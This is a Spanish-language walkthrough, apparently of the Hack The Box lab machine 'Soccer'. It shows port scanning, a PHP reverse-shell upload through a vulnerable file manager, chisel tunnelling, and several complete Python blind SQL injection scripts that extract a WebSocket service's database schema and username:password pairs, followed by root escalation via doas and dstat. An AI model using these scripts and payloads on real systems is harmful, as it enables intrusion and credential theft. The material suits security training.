Soccer

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Easy | 17 Deciembre 2022 | sau123 |
Reconocimiento
Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts 10.10.11.194 -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 15:33 -03
Initiating SYN Stealth Scan at 15:33
Scanning 10.10.11.194 [65535 ports]
Discovered open port 22/tcp on 10.10.11.194
Discovered open port 80/tcp on 10.10.11.194
Discovered open port 9091/tcp on 10.10.11.194
Completed SYN Stealth Scan at 15:33, 15.94s elapsed (65535 total ports)
Nmap scan report for 10.10.11.194
Host is up, received user-set (0.15s latency).
Scanned at 2025-01-30 15:33:33 -03 for 16s
Not shown: 65513 closed tcp ports (reset), 19 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
9091/tcp open xmltec-xmlmail syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.01 seconds
Raw packets sent: 77795 (3.423MB) | Rcvd: 66325 (2.653MB)
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV --min-rate 5000 -p22,80,9091 -oN servicesScan 10.10.11.194
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 15:36 -03
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Soccer - Index
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Thu, 30 Jan 2025 18:36:32 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Thu, 30 Jan 2025 18:36:33 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.94SVN%I=7%D=1/30%Time=679BC6AA%P=x86_64-pc-linux-gnu%r
SF:(informix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20clos
SF:e\r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection
SF::\x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found
SF:\r\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type
SF:-Options:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\
SF:nContent-Length:\x20139\r\nDate:\x20Thu,\x2030\x20Jan\x202025\x2018:36:
SF:32\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
SF:ang=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\
SF:n</head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r
SF:(HTTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-
SF:Policy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x201
SF:43\r\nDate:\x20Thu,\x2030\x20Jan\x202025\x2018:36:33\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n
SF:<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pr
SF:e>Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,
SF:"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20defaul
SF:t-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\
SF:x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Th
SF:u,\x2030\x20Jan\x202025\x2018:36:33\x20GMT\r\nConnection:\x20close\r\n\
SF:r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=
SF:\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIO
SF:NS\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
SF:")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConn
SF:ection:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.42 seconds
Explotación inicial
echo "10.10.11.194 soccer.htb" >> /etc/hosts
Web (80) soccer.htb
Realizamos web fuzzing usando feroxbuster.
Buscamos credenciales por defecto.
- admin/admin@123
- user/12345
Vemos que la versión es la 2.4.3
Si realizamos una búsqueda rápida en Google, encontramos que es vulnerable a RCE.
Utilizamos el siguiente código php para subir una reverseshell y ganar acceso al sistema.
cp /usr/share/webshells/php/php-reverse-shell.php .
Enumeración / Movimiento lateral
Procedimiento para la enumeración interna y buscar formas para elevar privilegios o realizar movimientos laterales con permisos de usuario normal.
www-data -> player
Si ejecutamos un curl a la la ip:puerto nos devuleve una web.
Subimos chisel.
Creamos un servidor HTTP con Python.
python3 -m http.server 80
Lo descargamos y le asignamos permisos de ejecución.
Creamos el servidor de chisel.
Nos conectamos.
Configuramos el proxy en FoxyProxy.
Agreamos el subdominio al archivo /etc/hosts
Login
Nos registramos.
Iniciamos sesión.
Si miramos el código fuente, vemos que se conecta a un Web Socket que se ejecuta en el puerto 9091.
Blind SQL Injection
Creamos un script en Python para automatizar el proceso.
En primer lugar, recuperamos las bases de datos.
#!/usr/bin/python3
import asyncio
import websockets
import signal
import sys
import time
import json
import string
from pwn import *
url = "ws://soc-player.soccer.htb:9091/"
cookie = "connect.sid=s%3A9dT0VavFhikFXsWfjGiFtle55hFbJKR3.Qqk%2BsCrG%2BBgTcX6uh35ilIYJw29vcJQOMFIVcQElHS8"
headers = {
"Cookie": cookie
}
async def makeSQLi():
p1 = log.progress("SQL Injection")
p1.status("Obteniendo las bases de datos")
await asyncio.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
characters = string.ascii_lowercase + string.digits + ',_'
for position in range(1, 150):
for character in characters:
char = ord(character)
data = {
"id": "66797 OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),%d,1) FROM information_schema.schemata )) = %d)-- -" % (position, char)
}
p1.status(data)
async with websockets.connect(url, additional_headers=headers) as websocket:
json_data = json.dumps(data)
await websocket.send(json_data)
res = await websocket.recv()
if 'Ticket Exists' in res:
extracted_info += character
p2.status(extracted_info)
break
if __name__ == '__main__':
asyncio.run(makeSQLi())
Enumeramos las tablas de la base de datos soccer_db
#!/usr/bin/python3
import asyncio
import websockets
import signal
import sys
import time
import json
import string
from pwn import *
url = "ws://soc-player.soccer.htb:9091/"
cookie = "connect.sid=s%3A9dT0VavFhikFXsWfjGiFtle55hFbJKR3.Qqk%2BsCrG%2BBgTcX6uh35ilIYJw29vcJQOMFIVcQElHS8"
headers = {
"Cookie": cookie
}
async def makeSQLi():
p1 = log.progress("SQL Injection")
p1.status("Obteniendo las tablas de la base de datos 'soccer_db'")
await asyncio.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
characters = string.ascii_lowercase + string.digits + ',_'
for position in range(1, 150):
for character in characters:
char = ord(character)
data = {
"id": "66797 OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(table_name),%d,1) FROM information_schema.tables WHERE table_schema = 'soccer_db' )) = %d)-- -" % (position, char)
}
p1.status(data)
async with websockets.connect(url, additional_headers=headers) as websocket:
json_data = json.dumps(data)
await websocket.send(json_data)
res = await websocket.recv()
if 'Ticket Exists' in res:
extracted_info += character
p2.status(extracted_info)
break
if __name__ == '__main__':
asyncio.run(makeSQLi())
Enumeramos las columnas de la tabla accounts
#!/usr/bin/python3
import asyncio
import websockets
import signal
import sys
import time
import json
import string
from pwn import *
url = "ws://soc-player.soccer.htb:9091/"
cookie = "connect.sid=s%3A9dT0VavFhikFXsWfjGiFtle55hFbJKR3.Qqk%2BsCrG%2BBgTcX6uh35ilIYJw29vcJQOMFIVcQElHS8"
headers = {
"Cookie": cookie
}
async def makeSQLi():
p1 = log.progress("SQL Injection")
p1.status("Obteniendo las tablas de la base de datos 'soccer_db'")
await asyncio.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
characters = string.ascii_lowercase + string.digits + ',_'
for position in range(1, 150):
for character in characters:
char = ord(character)
data = {
"id": "66797 OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(column_name),%d,1) FROM information_schema.columns WHERE table_schema = 'soccer_db' AND table_name='accounts' )) = %d)-- -" % (position, char)
}
p1.status(data)
async with websockets.connect(url, additional_headers=headers) as websocket:
json_data = json.dumps(data)
await websocket.send(json_data)
res = await websocket.recv()
if 'Ticket Exists' in res:
extracted_info += character
p2.status(extracted_info)
break
if __name__ == '__main__':
asyncio.run(makeSQLi())
#!/usr/bin/python3
import asyncio
import websockets
import signal
import sys
import time
import json
import string
from pwn import *
url = "ws://soc-player.soccer.htb:9091/"
cookie = "connect.sid=s%3AEZIDtluF55rD1SyiK86al5GM7vmAx9AF.Tp9fw8w%2BZFcnXbgx0hCJSo%2BNrhbAWbNuvjKeQDm7RgI"
headers = {
"Cookie": cookie
}
async def makeSQLi():
p1 = log.progress("SQL Injection")
p1.status("Obteniendo las tablas de la base de datos 'soccer_db'")
await asyncio.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
characters = string.printable
for position in range(1, 250):
for character in characters:
char = ord(character)
data = {
"id": "60348 OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(username,':',password),%d,1) FROM soccer_db.accounts )) = %d)-- -" % (position, char)
}
p1.status(data)
async with websockets.connect(url, additional_headers=headers) as websocket:
json_data = json.dumps(data)
await websocket.send(json_data)
res = await websocket.recv()
if 'Ticket Exists' in res:
extracted_info += character
p2.status(extracted_info)
break
if __name__ == '__main__':
asyncio.run(makeSQLi())
Nos conectamos por SSH.
player:PlayerOftheMatch2022
Elevación de privilegios
Permite ejecutar el binario doas
.
El comando doas permite ejecutar un comando como otro usuario.
Para ver la configuración del binario podemos ver el archivo /usr/local/etc/doas.conf
En este caso, el usuario player puede ejecutar como root el binario dstat
.
Referencia: https://gtfobins.github.io/gtfobins/dstat/
Leemos el flag de root.txt